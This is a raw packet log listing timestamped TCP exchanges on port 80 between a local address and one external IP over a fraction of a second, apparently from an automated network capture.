Dec 20, 2024 11:12:15.794251919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.794322968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.794362068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.795254946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.795273066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.795310974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.795356989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.796199083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.796242952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.796333075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.796375036 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.797288895 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.797332048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.797370911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.797410011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.798393965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.798435926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.798481941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.798527002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.799520016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.799565077 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.799603939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.799643993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.800576925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.800621986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.800694942 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.800736904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.801651955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.801697016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.801775932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.801819086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.802755117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.802800894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.802830935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.802874088 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.803822041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.803865910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.803896904 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.803936005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.804925919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.804970980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.805015087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.805058002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.806036949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.806090117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.806137085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.806181908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.807085991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.807130098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.807240963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.807285070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.808175087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.808221102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.808278084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.808331013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.809276104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.809319973 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.809324980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.809366941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.810363054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.810422897 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.810468912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.810516119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.811450958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.811479092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.811500072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.811549902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.812520981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.812572002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.812619925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.812665939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.813610077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.813657999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.813702106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.813746929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.814692974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.814739943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.814784050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.814834118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.815803051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.815857887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.815905094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.815959930 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.816879988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.816930056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.816950083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.816994905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.817962885 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.818008900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.818079948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.818123102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.819036961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.819087029 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.819149017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.819191933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.820132971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.820178032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.820224047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.820266962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.821209908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.821254969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.821319103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.821363926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.822330952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.822376013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.822423935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.822478056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.823402882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.823448896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.823498011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.823545933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.824480057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.824522972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.824594021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.824640989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.825511932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.825558901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.960982084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.961009026 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.961055994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.961070061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.961328030 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.961365938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.961386919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.961396933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.962532043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.962558985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.962589979 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.962603092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.963440895 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.963489056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.963538885 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.963581085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.964493036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.964559078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.964592934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.964637041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.965585947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.965641022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.965678930 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.965728998 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.966670990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.966722965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.966789007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.966834068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.967756987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.967803001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.967845917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.967919111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.968861103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.968911886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.968995094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.969039917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.969935894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.969985962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.970035076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.970081091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.971014977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.971069098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.971143007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.971190929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.972106934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.972157955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.972258091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.972306967 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.973254919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.973349094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.973359108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.973403931 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.974323034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.974380970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.974385977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.974428892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.975378990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.975426912 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.975486994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.975528955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.976437092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.976485014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.976496935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.976541042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.977545977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.977593899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.977669954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.977714062 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.978636980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.978689909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.978727102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.978771925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.979724884 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.979773998 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.979846001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.979898930 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.980849981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.980904102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.980947971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.980989933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.981873989 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.981923103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.982049942 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.982093096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.982968092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.983033895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.983062029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.983100891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.984112024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.984181881 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.984196901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.984250069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.985176086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.985232115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.985258102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.985305071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.986272097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.986335039 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.986356020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.986397982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.987341881 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.987391949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.987442970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.987492085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.988393068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.988437891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.988531113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.988575935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.989480972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.989530087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.989573956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.989618063 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.990572929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.990621090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.990650892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.990698099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.991684914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.991733074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.991807938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.991852045 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.992785931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.992837906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.992858887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.992902994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.993839979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.993894100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.993943930 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.993995905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.994930983 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.994976044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.995019913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.995065928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.996015072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.996058941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.996135950 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.996176004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.997097969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.997140884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.997219086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.997262001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.998200893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.998248100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.998290062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.998337030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.999264956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.999310970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.999362946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.999412060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.000349045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.000413895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.000531912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.000582933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.001451969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.001494884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.001580954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.001626968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.002549887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.002599001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.002644062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.002690077 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.003649950 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.003696918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.003751040 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.003793001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.004805088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.004857063 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.004893064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.004940033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.005795956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.005847931 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.005918026 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.005964994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.006905079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.006953955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.006992102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.007039070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.007989883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.008044004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.008088112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.008135080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.009429932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.009494066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.009505033 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.009560108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.010471106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.010494947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.010515928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.010545015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.011539936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.011596918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.011621952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.011651993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.012335062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.012394905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.012737036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.012798071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.013423920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.013463974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.013488054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.013515949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.014530897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.014595032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.014666080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.014722109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.015660048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.015721083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.015728951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.015769005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.016737938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.016791105 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.016834021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.016882896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.017738104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.017787933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.152842045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.152863979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.152900934 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.152920961 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.153147936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.153175116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:16.153197050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.153208971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:16.154057026 CET	80	49768	31.41.244.11	192.168.2.4
